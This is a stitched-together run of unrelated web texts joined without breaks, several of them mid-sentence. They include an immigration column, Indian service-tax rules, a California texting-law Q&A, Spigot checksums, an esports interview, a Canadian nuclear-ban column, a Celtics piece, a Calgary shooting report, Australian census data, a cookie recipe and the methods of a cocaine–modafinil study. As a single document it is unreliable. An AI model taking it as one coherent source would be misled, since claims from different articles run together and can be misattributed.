When it comes to what the nation expects of its immigrants, Camarota cited those who believe in multiculturalism. "The idea is that there is no American culture. Immigrants instead should retain their identity and America should accommodate the new arrivals rather than the new arrivals largely accommodating themselves to American culture," he said. He noted that many Americans have a "robust idea of assimilation," and even polls show that immigrants should adopt American culture. But in that divide, overshadowed by political correctness, he concluded, "There no longer exists a clear understanding of what we want from immigrants." Paul Bedard, the Washington Examiner's "Washington Secrets" columnist, can be contacted at pbedard@washingtonexaminer.comService tax net widened: New rules mean filmstars' income from promotional adverts will take on new levy The new service tax regime that kicked in on July 1 has cast the net much wider - from including sportspersons earning match fees and prize money exceeding Rs 10 lakh to filmstars who make big bucks from promotional ads and events. So, B-town's money-spinners such as Shah Rukh Khan who is the brand ambassador for Tag Heuer, Pepsi's new face Ranbir Kapoor, Garnier girl Priyanka Chopra and Katrina Kaif who appears in the hot Slice ad will now have to shell out the dough for their sideshows as well. A senior official finance ministry confirmed to Mail Today that filmstars will be taxed on advertising and promotional activities. Actor Shah Rukh Khan models for a Tag Heuer advertising campaign These events will bracketed in a separate category from their roles in films which are already subjected to income tax, the official revealed on Wednesday. The fresh set of rules will come as a double whammy for top cricketers like M.S. Dhoni, Sachin Tendulkar and Virat Kohli because they are likely to pay a part of their match fees as well as that of the hefty amounts collected by endorsing a slew of products. A 12.36 per cent service tax will now be levied on all players – men and women – who earn more than Rs 10 lakh from match fees (this includes prize or award money). Coaches, match referees, umpires and other support staff of teams earning above Rs 10 lakh annually will also be taxed. Katrina Kaif poses provocatively with a mango slice Even commentators will come under the ambit of the changed rules. Furthermore, all experts – coaches, physiotherapists, trainers, etc – hired on contract by the BCCI's National Cricket Academy in Bangalore will be similarly taxed. The BCCI will pay service tax on behalf of the boards of various countries and foreign players and team support staff who play in the Indian Premier League as well as the Champions League T20 under the'reverse charge mechanism'. The government has also changed the definition of a'recognised sports body'. According to a presentation made by BCCI tax consultant S.S. Gupta at a workshop organised for the board's affiliated units recently, six types of'recognised sports bodies' exist under the changed definition. They are: (a) the Indian Olympic Association (b) the Sports Authority of India (c) national sports federations recognised by the ministry of youth affairs and sports and its affiliate federations (d) national sports promotion organisations recognised by the sports ministry (e) the International Olympic Committee (IOC) or a federation recognised by the IOC (f) a federation or a body that regulates a sport at the international level. But there are several grey areas and the sports federations have asked their tax consultants to seek clarity from the government. BCCI vice-president Niranjan Shah said the board had sought clarifications from the government because many aspects were clouded in ambiguity. The BCCI will pay service tax on behalf of the boards of various countries and foreign players and team support staff who play in the Indian Premier League as well as the Champions League T20 under the'reverse charge mechanism' The Indian cricket board, All India Football Federation (AIFF), Hockey India and the Athletic Federation of India (AFI) were now in the process of the ascertaining which areas will be come under the new regime. Hockey India secretary-general Narinder Batra, one of the few vastly experienced persons who manage both hockey and cricket, told Mail Today: 'In hockey, the variation in budget limited. But we still pay Rs 10,000 to 32 junior men players and 32 junior women to take care of their shoes and kits. Additionally, we provide expensive kits for goalkeepers. We are not clear on whether we will have to pay service tax on this, too. I have asked our adviser to get a clear picture from the government.' 'We are also trying to find out whether service tax will be imposed on events or retainership category. Another problem is that while the government says all players will have to pay service tax online, many cannot handle the computer,' he said. AIFF general secretary Kushal Das, too, was not very sure about how the new rules would work out. 'We don't pay match fees to football players when they turn out for the country; only bonuses for winning titles. Players are contracted with clubs, so their income is from clubs,' Das told Mail Today. Athletics Federation of India (AFI) secretary C.K. Valson was confused as well, but he blamed his ignorance on his foreign trip. 'I am not very sure about the service tax as I was away to Kazakhstan and have just returned. I will find out about it,' he said. Earlier, service tax was applicable on only services specified under the Finance Act, 1994. Services rendered by sportspersons were not a specified service and, therefore, did not fall in this tax bracket. There was a 'positive list' that contained names of the items that were not taxed. Now, the government has come out with a 'negative list' that contains the items that are exempted from the new service tax. Most services, with the exception of the 38 that figure in the negative list, turned costlier from July 1. In fields other than sports, coaching classes and training institutions will come under the service net. But the tax will not be levied on school, college and university education as well as on approved vocational courses.On New Year's Day, it will become illegal to text message while driving in California. You probably have a lot of questions about what precisely that means: Can you still use your BlackBerry to get directions while driving? What about checking Major League Baseball scores? Can you text while stuck in horrible traffic on the I-5? The very patient Jaime Coffee, an information officer with the California Highway Patrol, has responded to our Twenty-plus Questions concerning just about every possible way the new law may be put to the test. Turns out you can't browse the Web while driving or text while sitting at a red light. But checking Major League Baseball scores or texting while riding a bicycle seem to be OK. Here's an edited transcript of our e-mail conversation with Coffee. Q: Is it illegal to send an e-mail from your mobile device while driving? A: Yes. Please refer to VC 23123.5 (b) (PDF download). As used in this section "write, send, or read a text-based communication" means using an electronic wireless communications device to manually communicate with any person using a text-based communication, including, but not limited to, communications referred to as a text message, instant message or electronic mail. Q: Is it illegal to browse the Web while driving? A: Yes. Refer to VC 27602 (a). A person may not drive a motor vehicle if a television receiver, a video monitor or a television or video screen, or any other similar means of visually displaying a television broadcast or video signal that produces entertainment or business applications, is operating and is located in the motor vehicle at any point forward of the back of the driver's seat, or is operating and visible to the driver while driving the motor vehicle. Q: Is it illegal to type directions into a digital map or GPS program on your phone while driving? A: No. The law does not say you can't type directions into a map or GPS program on your phone. Q: If you are texting a company or website, such as MLB.com, as opposed to a person, is it still illegal to text while driving? A: Technically speaking... if the text-based communication is not going to another "person" you're not in violation. The new law addresses two-way communication. However, we don't encourage or condone any activity that could place you in jeopardy or harm's way. If sending this message causes the driver to become distracted, and affects the safe operation of the vehicle, an officer can pull the driver over and cite for unsafe operation of a motor vehicle, etc. Q: If you are stopped at a red light, can you text while sitting at the red light? A: No, it's against the law. If you are stopped at a light or a stop sign, you are still in control of that vehicle and need to be able to react. Q: If you are sitting in a traffic jam and your car is not moving, is it illegal to text while driving? A: Yes, it is still illegal. Again, you are still in control of the vehicle and should focus 100% of your attention to its safe operation. More questions and answers, including whether it's legal to text while parked, after the jump.Spoiler: Verification Last commit to SpigotMC/Spigot: 25b4191f0ff904b2c413f16a09a156f7973221b4 Build #1649 (1.7 to 1.8 protocol, based on 1.7.10): f2edc09c45b1f80237602dc0d1b05969 Build #1627 (1.7.10): 4cced3f71de1bf4c6caccd74e1186f35 Build #1543 (1.7.9): 291669acb4eb8626e0341a988a6ee1e3 Build #1433 (1.7.8): 7e2e6bb626013368b134212a5ec76aa1 Build #1387 (1.7.8 protocol, based on 1.7.5): 76ad1a9809a014d3adc70ad39fb8e610 Build #1371 (1.7.5): a20dcdaf01017fbd4203f9595c813110 Build #1339 (1.7.2): 6685f2f76bf77e4db785fb32edbd313c In order to verify any git repository downloads, the current HEAD should match the sha1sum provided. This can be verified with the “git rev-parse HEAD” command. For all other jar downloads, the md5 checksum of the jar should match that provided. This can be verified with the “md5sum” command on Linux. Obviously with the removal of many of our resources, there is going to be all sorts of stuff floating around on the internet. As such we would like to provide some verification of several crucial items provided by our project in the hopes that server owners will be safe, should they manage to find alternate download sources.SK Prime Zyzz: "They could play the LCS EU if they work on their weakness" The former player of oceloteWorld, who played the Global Challenge São Paulo in Brazil, Zyzz (Haydal) talks about his impressions of Keyd Stars, the Brazilian/Korean squad. Yesterday, the seventh edition of the SoloMid Invitational Europe began. Besides the participation of some best amateur teams, the tournament was also attended by Keyd Stars, the current champion of the Brazilian League - Champions Series. This is the first appearance of kStars at international tournament outside of Brazil. In their debut, kStars started off well and managed to win the first game against SK Prime thanks to the impressive performance of Winged, the korean Jungler. But it was too little to stop the team that took third at DreamHack Summer. With a spetacular comeback, SK Prime won 2:1. After the matches we spoke with Haïdar "Zyzz" Mezidi. The French player knows the Brazilian teams well. In February, with his former team oceloteWorld, he played in the Global Challenge - São Paulo, where they finished 3rd/4th with SevenWars. The AD Carry of SK Prime stated: "SuNo (Mid), Winged (Jungler) and Loop (Supp) played really good the early game but kStars presents weakness in their laneswapping and teamfighting, besides which the Brazilian/Korean team don't really force too many objectives even when they are ahead." When asked about the possibility of Keyd playing the LCS Europe if the Brazilian/Korean squad choose to stay in Portugual, Zyzz said that kStars played better against NiP than SK and that they could potentially play in EU LCS if they work on their weaknesses. Besides that, the AD Carry said also that Keyd have the ability to beat Ninja in Pyjamas and n!faculty in the SoloMid Invitational. Today at 16:00 CEST, Keyd Stars will battle against Ninja in Pyjamas in the final of Lower Bracket. If the Brazilian/Korean squad beats Alex Ich & co. they will play against the loser of n!faculty and SK Prime.It's official. Canada is now a hawk when it comes to the proliferation of nuclear arms. If any additional confirmation were needed, it was Canada's absence at last week's UN vote to ban nuclear weapons. But for those who have been following this file, this is only the latest of Canada's hawkish gestures. Canada's failure to step up for last week's nuclear weapons ban was criticized from many corners. "It's shocking that Canada is not going to participate," asserted former Canadian ambassador for disarmament, Douglas Roche back in March. Paul Meyer, another former Canadian ambassador for disarmament described Canada's absence as "pathetic." Project Ploughshares' executive director Cesar Jaramillo considered it a hypocritical contradiction of the Trudeau government's stated commitment to multilateralism. But to understand how hawkish Canada has become on nuclear arms, it's important to understand the origins of last week's UN nuclear ban conference: origins that date back to 1970, when the international Nuclear Nonproliferation Treaty (NPT) entered into force. The NPT included two key premises: 1) that non-nuclear-weapon states would not seek weapons, and 2) that nuclear-weapon states would pursue nuclear disarmament aimed at the ultimate elimination of their nuclear arsenals. Since the 1970s, while the non-nuclear-weapon states have largely respected their obligation, the nuclear-weapon states have not. After decades fuming under this status quo, many countries began to view the NPT as "a conspiracy of the nuclear 'haves' to keep the nuclear 'have-nots' in their place." Many also pointed out that countries who defied the NPT and developed nuclear weapons – notably India, Pakistan and Israel – did not pay a price for their non-compliance. As early as 1974, concerned by Israel's development of nuclear weapons and its failure to sign onto the NPT, Egypt led an effort to pass a UN resolution calling for a nuclear-weapons-free Middle East. By 1995, the call had been elevated to the NPT review conferences which occur every five years, but the NPT's depositary states (the U.S., the U.K. and Russia) still failed to act. With pressure mounting, the NPT depositary states finally agreed in 2010 to a compromise with Egypt and its NPT allies: if member states would pass resolutions for stricter non-proliferation measures, the West promised to hold a conference in 2012 supporting nuclear disarmament in the Middle East. But two years later, the West reneged again on its promise and no follow-up conference took place. Again in 2015, Egypt and non-aligned states tried to launch a process to negotiate a nuclear-free Middle East, and again they were blocked, this time by Canada, acting in concert with the U.S. and the U.K. Following the vote, Canadian PM Stephen Harper and U.S. Secretary of State John Kerry both received personal thanks from Benjamin Netanyahu for sticking their necks out to protect Israel. Incensed by the 2015 vote and the previous 40 years of inaction, countries opposing nuclear weapons passed a resolution at the UN last October calling for negotiations on a new treaty that would outright ban nuclear weapons. Canada again opposed that resolution, and then boycotted the resulting conference which concluded last week. As a result, Canada had no role in perhaps the most significant development in nuclear disarmament in 20 years: a legally binding ban on nuclear weapons. The treaty was signed by over 120 nations – two-thirds of the world's countries – and outlaws the development, testing, production, and acquisition of nuclear weapons. Critics of the new ban suggest that it will be ineffective because none of the nuclear powers have signed on. Following Canada's nay vote last October at the UN, then foreign affairs minister Stéphane Dion argued that Canada's support for a parallel resolution banning the trade in nuclear bomb-making (a.k.a. "fissile") material was a more pragmatic course of action. But Meyer points out that the treaty on fissile material has been around since 1993, and has yielded little in terms of results. What's more, he adds, support for the ban on fissile material need not preclude support for the nuclear ban. Few Canadians believe that our communities would be safer with more personal firearms. In the same way, at a global level, Canada's refusal to push for nuclear disarmament on the world stage is perplexing and upsetting. And North Korea's ability to develop a nuclear arsenal belies any suggestion that the arms of existing nuclear powers serves as any deterrent. Some have suggested that Canada was strong-armed into opposing the ban by a dictate from the US to its NATO allies. But when challenged in Parliament, Foreign Affairs Minister Chrystia Freeland tiptoed around the question. Whether that were the government's reasoning or not, Peggy Mason of the Rideau Institute dismisses it as a justification. Citing her own role as Canadian representative to the UN for five years, Mason asserted that NATO membership had never previously been a factor in Canada's UN voting on disarmament. THE CANADIAN PRESS/Sean Kilpatrick Minister of Foreign Affairs Chrystia Freeland stands during question period in the House of Commons on Parliament Hill in Ottawa on Friday, June 9, 2017. Critics of the new ban suggest that it will be ineffective because none of the nuclear powers have signed on. But regardless of such arguments, the new ban sheds light on the nuclear powers' decades-long reluctance to act on disarmament. Much of the power of international law resides in its ability to confer or withhold legitimacy on international players. With the new ban, Canada, the U.S., the U.K. and their supporters come out looking badly. Of course, as nuclear powers, one could presume that the U.S. and the U.K. are simply acting in their own self-interest. As a nuclear weapon "have-not," Canada simply looks foolish. Follow HuffPost Canada Blogs on Facebook– This is a guest post by Bill Blake, one of the key partners in the OWLP partnership ; the original version was published at http://billboyheritagesurvey.wordpress.com/2014/04/15/what-is-community-kap/ What is Community KAP? This is an activity, open to all ages and abilities (subject to appropriate supervision) that is relaxing, fun and places one in the landscape in a unique way. What is it? KAP stands for Kite Aerial Photography and was invented in the 19th cent by Artur Batut in France, it has caught on in the modern age as we have cheap digital cameras, we are no longer at the mercy of the plate negative! The benefit of the method is 2 fold, first the capture of images of the landscape from a new viewpoint, second the flying of kites is good way to spend some time outdoors learning the ways of the wind. Most of the time we tend not to raise our eyes to the sky, most of what concerns our lives is firmly earthbound. Choosing to look at where we live from the sky can be as easy as browsing Google Earth but what we see there gets fuzzy and indistinct when we look closely at the details of the landscape, recording from the much lower viewpoint a kite offers us a much closer to how we experience the world, just different enough to be new and involving. How is this a community activity? The best outcomes are from the combined efforts of teamwork: a kite flier and a photographer. As a group activity a variety of outcomes are possible: with patience and a good number of photos an aerial panorama is possible by building up a montage of images, large scale photo-maps are also made by fitting a ‘carpet’ of images together. By flying several kites together (at a safe distance apart!) surprisingly rich records of the locale are achieved. What’s special about kite aerial pictures? Simply put it’s the resolution. At the height of the kite patterns and textures are uniquely visible. Is it safe? Because every site has different hazards KAP needs careful planning. This is where I come in: I have been doing this professionally for 5 years now and a risk assessment is made for each location prior to agreeing a safe method of working. The risks are small but real, kites can give you line burn, make you run backwards into things and end up tangled in trees or worse. Depending on group ability and desired outcome location and timing are chosen carefully to manage risk. Compared to playing in a football match flying a kite is safe! Why is this part of Ouse Washes Landscape Partnership? The opportunity to provide the project with arresting images of the landscape acquired by community groups is valuable: to see the landscape from above is revealing, to be part of the process is rewarding. As the project develops many images of habitat, land-use, art projects and event records, are needed to illustrate the landscape on sign-age, site interpretation and web pages. Community KAP is a project funded by OWLP and is now live, so let’s get started, I’m available for demonstration, talks, risk assessment and project planning for your group! Related OWLP posts: AdvertisementsJae Crowder reacted emotionally on Twitter after the Celtics 115-104 win over the Utah Jazz on January 3rd. Crowder was upset because the fans cheered on Gordon Hayward, and he knows Hayward could potentially come in and take his spot. However, I think Crowder and Hayward can work together to make the Celtics great. On January 3rd, we saw Jae Crowder get as frustrated with the fans as we’ve seen in his career. He was very upset that the Celtic fans cheered for Gordon Hayward, a potential free-agency target this summer, during introductions and throughout the Celtics 115-104 win over the Jazz. Crowder made it absolutely clear how disappointed he was that the fans were cheering for a guy who could potentially come in and take his spot. He fired off a series of Tweets that didn't sit well with Celtics fans on Twitter. The next Tweet is the one that caused the most uproar. It was clear Crowder’s emotions got the best of him and according to Brad Stevens, Crowder apologized as soon as he saw him the next day. “I was somewhat surprised to read what he said and tweeted,” Stevens said. “I told him that this morning because, every day that he comes in, you can tell that he’s thankful to be a Celtic and every time we have that talk about how you represent Boston as an athlete and how tough you have to be to be well-liked here, I always thought Jae represented the best of that. The first thing he said was, obviously, he wished he didn’t express himself like that, but we talk all the time about embracing the expectations of being an athlete here in Boston because I do think this city is such a tremendous sports town and offers our guys such an opportunity to grow and feel those banners above us, feel the expectations of being a team-first player then playing as hard as you can. A lot of our guys have embraced that. I don’t know that anybody has embraced it as much as Jae over the last few years.” Thankfully, Crowder’s comments didn’t seem to upset Stevens or anyone in the Celtics organization, though I’m sure they’ll have a conversation with him behind closed doors. Jae did make it clear, though. He thinks Hayward would come to Boston to take his spot. I understand it from Crowder’s perspective, he stayed loyal to the Celtics by taking a five-year contract extension on a bargain deal in the new cap and now he’s facing uncertainty. Crowder knows that Boston wants to acquire a star player with their cap space if they can. If the Celtics did acquire Gordon Hayward, it would be for him to start, not come off the bench. That thought is definitely a possibility this summer with Hayward’s ties to Brad Stevens. Stevens coached Hayward and the Butler Bulldogs to the 2010 National Championship, and the two have remained good friends as they’ve transitioned to the NBA. Hayward would instantly fill something the Celtics need, another player who can score and take over games. The Celtics would then have a big three of sorts with IT, Al Horford and Hayward, which I think instantly vaults Boston into contention for the top spot in the East. The Celtics have great depth and with Stevens coaching ability, they’ve proved they can defy the odds before. But back to the main issue, Crowder understands that he and Hayward both like to play small forward and he thinks that one of them would have to move out of the starting lineup. However, the Celtics can roll out a slightly smaller lineup that puts Hayward at the three and Crowder at power forward. This starting five, along with Isaiah Thomas, Avery Bradley and Al Horford, gives the Celtics a ton of versatility on both sides of the court. Offensively, Hayward would replace Amir and Johnson and likely dig into Kelly Olynyk’s minutes a bit to get him around the 28-32 minute mark a night. Hayward is six foot eight inches and 230 pounds while Johnson is six foot night inches and 240 pounds, so the size difference isn’t as much as you would think. Johnson is more of a banger than Hayward, but that’s why Crowder would take over the four spot. In this era of basketball, positions don’t really matter as much because players are expected to be versatile. Hayward would make the Celtics offense more dangerous, his presence would mean all five starters on the floor are capable of scoring from deep. Johnson only averages 6.5 points per game in 20.3 minutes per game while Hayward would add 22.4 points per game in 35.3 minutes per game. I would expect Gordon’s points per game and minutes to drop slightly, but his efficiency will rise in Boston’s offensive system. Hayward also is good at moving the ball, he averages about four assists per game and would fit right into the unselfish culture that has been established on offense. Brad Stevens has a knack of putting players in the right positions for them to be successful, and I’m sure he could mold Gordon Hayward into an NBA star (If Jordan Crawford can win player of the week, Hayward can be a top-10 player in the league). With all five starters capable of scoring, Stevens would be able to pick and choose which mismatches he would like to try and exploit on every possession, and that team would undoubtedly become the best offensive team under Stevens so far. Defensively
about his perceived mistreatment at the hands of the federal and provincial governments, and the healthcare system. He describes how he suffered a spinal injury after diving into Calgary's Sikome Lake in 1994, not realizing how shallow the man-made body of water actually is, and subsequent, unsuccessful attempts to sue the Alberta government over his injury. McQueen was a quadriplegic who still had some use of his arms, according to a neighbour who spoke on condition of anonymity. Mental health Several of McQueen's publicly available Facebook postings relate to fears that his computer and phone were being monitored by authorities, and of his belief that his politically "connected" neighbours were conspiring against him. Alberta Liberal leader David Swann released a statement saying McQueen had "reached out frequently" to his constituency office and that his story was one of many in Alberta of people falling through the cracks. "He was suffering from an obvious, and serious, mental illness and it was often difficult to understand where he was coming from or how we could help," wrote Swann. "David was also angry. Angry with the injury which all but paralyzed him, angry with a system he felt failed him, and angry with those who represented that system." Swann says this is just another example, albeit a violent one, of how the system needs to change. Isabelle Templeton was David McQueen's longtime caregiver. She says he was frustrated with the government and the healthcare system. (CBC) Grief, anger over dog's death Many of his posts include photos of his dog, including one on Jan. 15 indicating his beloved pet had died. That post veers from expressing grief about his loss to anger at Calgary police and a Calgary politician, as well as his neighbours. "After he lost the dog, he was just lonely because there was no one to talk to," said Templeton, who also said the reason healthcare workers wouldn't visit McQueen was because of the dog. McQueen also posted an image online of an Easter Seals video in which he appears, along with his dog. Stephanie Rosch, a spokeswoman with Easter Seals in Calgary, said she knew of McQueen and confirmed the video was filmed as part of a public-service announcement in 2009. "We are very saddened to hear the news of the passing of Dave McQueen," Easter Seals Alberta Susan Boivin CEO said in a statement. "He was a former client of Easter Seals' Equipment and Support Services program, but we have not had any contact with him for many years." McQueen indicated on Facebook that he had been visited by police in the past and was angry at how they had treated him. 'Extremely dynamic' situation Calgary police Chief Roger Chaffin said Monday the shooter was previously known to officers but had no affiliation with organized crime. More than a dozen officers responded to the "extremely dynamic" situation in the northwest community at about 4:40 p.m. MT Sunday, Chaffin said, on reports of a gunman firing from a home, apparently at anything and everything. The first 911 call came from a bus driver who was narrowly missed by a bullet that travelled through the transit vehicle's windshield, according to police. The situation escalated when the suspect exited the home following an hours-long standoff and police responded with gunfire of their own. McQueen had no criminal record in Alberta, according to a search of court documents. The Alberta Serious Incident Response Team (ASIRT) is investigating Chaffin said he expects the shooter's motivation to be addressed as part of the investigation. The chief also stood by the actions of the officers responding to the incident. "We were very concerned about the well being of our officers and the public in this case," he said.You can add this one to the short but growing list of employers demanding access to Facebook accounts. After refusing to give her Facebook password to her supervisors, Kimberly Hester was fired by Lewis Cass Intermediate School District from her job as an aide to Frank Squires Elementary in Cassopolis, Michigan. She is now fighting a legal battle with the school district. This all started in April 2011, when Hester was using Facebook on her own time (when she wasn't working at the school). She jokingly posted a picture of a co-worker's pants around her ankles and a pair of shoes, with the caption "Thinking of you." A parent and Facebook friend of Hester's saw the photo and complained to the school. A few days later, Lewis Cass ISD superintendent Robert Colby asked her three times for access to her Facebook account. Hester refused each of the district superintendent's requests. Soon after, Colby wrote Hester a letter, a part of which said the following, according to WSBT: "…in the absence of you voluntarily granting Lewis Cass ISD administration access to you[r] Facebook page, we will assume the worst and act accordingly." Hester says he put her on paid administrative leave and eventually suspended her. She chose unpaid leave, to collect workman's compensation, and vowed to put up a fight. "I stand by it," Hester said in a statement. "I did nothing wrong. And I would not, still to this day, let them in my Facebook. And I don't think it's OK for an employer to ask you." Hester plans to use the letter she received from Lewis in her legal case against the school district. The two parties are scheduled for arbitration in May. She will have a tough time given that there is currently no law barring her employer from asking for access to her Facebook account, although the issue has been put under a spotlight recently (see links below). Michigan State Representatives Matt Lori and Aric Nesbitt have contacted Hester to let her know they are including her story in House Bill 5523, which aims to make it illegal for employers to ask employees and prospective employees for their Facebook password. Michigan is one of several states currently pushing for legislation that would make such practice illegal. See also:The United Kingdom is our leading source of overseas-born residents, followed by New Zealand, China and India. Almost a quarter of us were born overseas. today's data release reveals. Mandarin is now the second most common language spoken at home after English, while Hinduism has experienced the largest proportional growth of the three most common non-Christian religious affiliations. Check our in-depth and interactive census data graphics here The Australian Bureau of Statistics released the snapshot of Australia today from information collected in the census on August 9 last year. The number of Australians identifying as indigenous has risen 20.5 per cent since 2006, with their median age 21, which is 16 years younger than the national median age. It found the proportion of people who reported no religious affiliation has increased from 18.7 per cent in 2006 to 22.3 per cent in 2011. But the number of Hindus has almost doubled to 276,000. Housing across Australia has also had some significant changes in the past five years, with median weekly household rents up to $285 from $191 in 2006. That is an increase of 49.2 per cent. Median monthly household mortgage repayments also jumped from $1300 in 2006 to $1800 in 2011, an increase of 38.5 per cent. The average number of people living in each household remained unchanged in the past five years at 2.6 people per household. However the proportion of married Australians fell from 49.6 per cent in 2006 to 48.7 per cent in 2011. The population of Australia has risen to 21.5 million at the time of the census, up 8.3 per cent from from 19.8 million at the 2006 census. The median age across Australia is 37, which is unchanged from the 2006 census. The number of single-mother households nationally has dropped slightly since the last census. In 2006, 83.1 per cent of single or lone parent households were headed by a mother, but in 2011, that number slipped to 82.4 per cent. There are more single dads with children at home, with the proportion rising to 17.6 per cent, up from 16.9 per cent in 2006. The census is conducted every five years to gather information on populations for electoral purposes and to guide government spending on new infrastructure, community services and facilities such as schools, hospitals and roads. This is the 16th census taken in Australia over the past 100 years with about 9.8 million households surveyed on August 9 last year. Loading - with staff reportersUnkillable Cat said: Very nice collection. I'm actually thinking whether I have anything you would want (as I'm thinking about selling off part of my collection) but I can't think of anything, you already have everything RPG-related that I have... and so much more. (Unless you count a sealed copy of the PC version of War of the Lance, but that's more one of them "strategery" games.) After some consideration, while I can think of a few RPG titles that I have and you don't seem to have, the question is whether you want them to begin with. The retail box for Ultima Online, for example. Or The Legacy. I really need to have a go at my boxes and sort out what I want to keep and what not. Click to expand...teachart Offline Posts: 1486 Joined: 21-Jan-2010 add to buddy List topics by this member messages by this member images by this member Posts: 1486Joined: 21-Jan-2010 Bacon Chocolate Chip Cookies!!! « on: November 18, 2010 05:02:37 PM » You'll need: 7 strips bacon, cooked really crispy, dried on paper towel (SAVE BACON GREASE!!) 1 cup, plus 3 tablespoons all-purpose flour 1/2 teaspoon baking soda 3/4 stick butter softened 1/3 cup white sugar 1/3 cup light brown sugar 1 large egg 1 teaspoon vanilla extract 2/3 cups chocolate chips optional: chopped nuts -Preheat oven to 350 degrees. -Chop up your crispy bacon finely. -Mix together flour and baking soda -Cream together butter and sugars in a large bowl. Add egg and vanilla extract, and beat until just blended. Add the dry ingredients; beat until just incorporated. Be careful not to over beat! Stir in the chocolate chips, bacon, and optional nuts. Your dough will be pretty, it will look like this: -Drop one large tablespoon cookie dough 2 to 3 inches apart on un-greased baking sheet. -Shut that oven door, they're not done yet. I know they smell good, but you'll just have to wait. -Bake for 10 to 12 minutes, they'll be golden brown around the edges, and a bit soft in the center. Transfer to rack and cool for 15 minutes. -Give one to your toddler. The quick expression change from excitement to confusion is priceless! -Store them in a container on your counter for a couple of days, and if there is any left after that put them in the fridge. Enjoy! And that bacon grease that I told you to save- Have a movie night and pop your popcorn in it!!! FANTASTIC!!!!! We've been having quite the conversation about strange snacks on the International Snack Swap discussion board. Someone mentioned chocolate covered bacon, and I mentioned that I've made bacon chocolate chip cookies before and they were pretty delicious. So I whipped up a batch today so I could take some pics and share the recipe! (and of course eat some tasty cookies!)You'll need:7 strips bacon, cooked really crispy, dried on paper towel (SAVE BACON GREASE!!)1 cup, plus 3 tablespoons all-purpose flour1/2 teaspoon baking soda3/4 stick butter softened1/3 cup white sugar1/3 cup light brown sugar1 large egg1 teaspoon vanilla extract2/3 cups chocolate chipsoptional: chopped nuts-Preheat oven to 350 degrees.-Chop up your crispy bacon finely.-Mix together flour and baking soda-Cream together butter and sugars in a large bowl. Add egg and vanilla extract, and. Add the dry ingredients; beat until just incorporated. Be careful not to over beat! Stir in the chocolate chips, bacon, and optional nuts. Your dough will be pretty, it will look like this:-Drop one large tablespoon cookie dough 2 to 3 inches apart on un-greased baking sheet.-Shut that oven door, they're not done yet. I know they smell good, but you'll just have to wait.-Bake for 10 to 12 minutes, they'll be golden brown around the edges, and a bit soft in the center. Transfer to rack and cool for 15 minutes.-Give one to your toddler. The quick expression change from excitement to confusion is priceless!-Store them in a container on your counter for a couple of days, and if there is any left after that put them in the fridge.Enjoy!And that bacon grease that I told you to save- Have a movie night and pop your popcorn in it!!! FANTASTIC!!!!! « Last Edit: November 18, 2010 05:22:23 PM by teachart » THIS ROCKS LoggedParticipants Eight black research volunteers (seven males, one female) with a mean age of 38.5±2.8 (±SD) completed this study. They were solicited via word-of-mouth referral and newspaper advertisements in New York City, and each signed a consent form that was approved by the Institutional Review Board of The New York State Psychiatric Institute. Before study enrollment, participants passed comprehensive medical and psychiatric evaluations (including a Structured Clinical Interview for Diagnostic and Statistical Manual of Mental Disorders (DSM-IV SCID)) and were within normal weight ranges according to the 1983 Metropolitan Life Insurance Company height/weight table (body mass index, 24.3±1.5). All met DSM-IV criteria for current smoked cocaine dependence and stated they were not seeking treatment for cocaine dependence at the time of study participation. No participant met criteria for any other axis I disorder. They reported currently using cocaine 4.1±1.6 (mean±SD) days per week and spending $275±109 (mean±SD) per week on the drug (the current cost of street cocaine in the New York City area is $25–40 per gram). On average, participants reported using cocaine for 19.8±6.6 (mean±SD) years. Five participants reported current alcohol use (0.5–18 drinks per week), five reported current marijuana use (1–5 times per week), and five smoked 5–30 tobacco cigarettes per day. Other reported drug use was infrequent. Urine toxicology analyses during the screening process showed that all participants tested positive for the cocaine metabolite and two tested for the marijuana metabolite. The participants had completed 11.75±1.9 (mean±SD) years of education. Five additional male participants (four black, one Hispanic) began, but did not complete the protocol; one had an abnormal electrocardiogram before receiving cocaine (this participant was receiving placebo modafinil), one was arrested during the outpatient portion of the study, one developed a rash while being maintained on placebo modafinil, one failed to meet his admissions appointment, and one left the study for personal reasons. Thus, no early dropouts were specifically due to side effects from modafinil. Design and Procedures During this within-subjects, alternating in-patient/outpatient 48-day study, participants were maintained on modafinil (placebo, 200, and 400 mg/day) and four doses of smoked cocaine (0, 12, 25, and 50 mg). They were each tested twice under each modafinil condition (Table 1). The first participant completed almost the entire study (43 days) on an in-patient basis to evaluate the effects of modafinil in combination with cocaine before providing other participants with modafinil on an outpatient basis. The remaining participants were maintained as in-patients and outpatients alternately over 48 days (for a total of 23 in-patient days per participant). All cocaine self-administration testing occurred during in-patient days. Initially, participants were admitted to the Irving Center for Clinical Research (New York Presbyterian Hospital) for 3 days and modafinil maintenance (placebo, 200, or 400 mg) was initiated. Modafinil was administered in a double-blind fashion throughout the study, but, for safety reasons, the 200-mg condition always preceded the 400-mg condition. Four participants received placebo first, and the other four received modafinil first. Subsequently, the modafinil maintenance dose was continued on an outpatient basis for 4 days. Then, participants were in-patient for 8 days; during 4 of those days, smoked cocaine-related effects (0, 12, 25 and 50 mg) were assessed in the presence of the modafinil maintenance dose. Each cocaine dose was tested twice per maintenance condition (see Table 1). The in-patient days following cocaine testing were used for crossover to another modafinil condition. Subsequently, the modafinil maintenance dose was continued on an outpatient basis for 6 days and then, the 8-day in-patient phase was repeated. After crossing over to a different maintenance condition, participants were maintained on an outpatient basis for 6 days, followed by the final 8-day in-patient phase. The final 5 days of the study were used to taper off modafinil. Table 1: Experimental Timeline Full size table During the outpatient phases of this study, participants came to the laboratory every 2–3 days, during which time they (1) were assessed for the emergence of side effects, (2) received study medication, and (3) gave an observed urine sample, which was examined for the presence of the riboflavin marker and drugs of abuse. Modafinil and placebo capsules were filled with powdered riboflavin (fluoresces when urine is exposed to ultraviolet light) to monitor compliance with the dosing regimen. Blood was drawn to measure plasma modafinil levels once during each outpatient period. Participants were given $15 in cash at each outpatient visit, and received $15 in merchandise vouchers for each riboflavin-positive urine sample. Merchandise vouchers were redeemable at local stores. Apparatus During sessions, each participant sat in a reclining lounge chair facing a computer monitor, which displayed subjective-effects questionnaires. A response manipulandum (‘mouse’) was used for completion of subjective-effects questionnaires. For blood withdrawal, an 18-gauge catheter (Quik-Cath®, Travenol Laboratories, Deerfield, IL) was inserted in a subcutaneous arm vein. The i.v. line was kept patent by a physiological saline solution drip at a rate of 2 cc/min. The electrocardiogram was continuously monitored via chest electrodes (Tektronix 413 Monitor®, Beaverton, OR; MAC PC®, Marquette Electronics, Milwaukee, WI), while HR and blood pressure (systolic, SP; 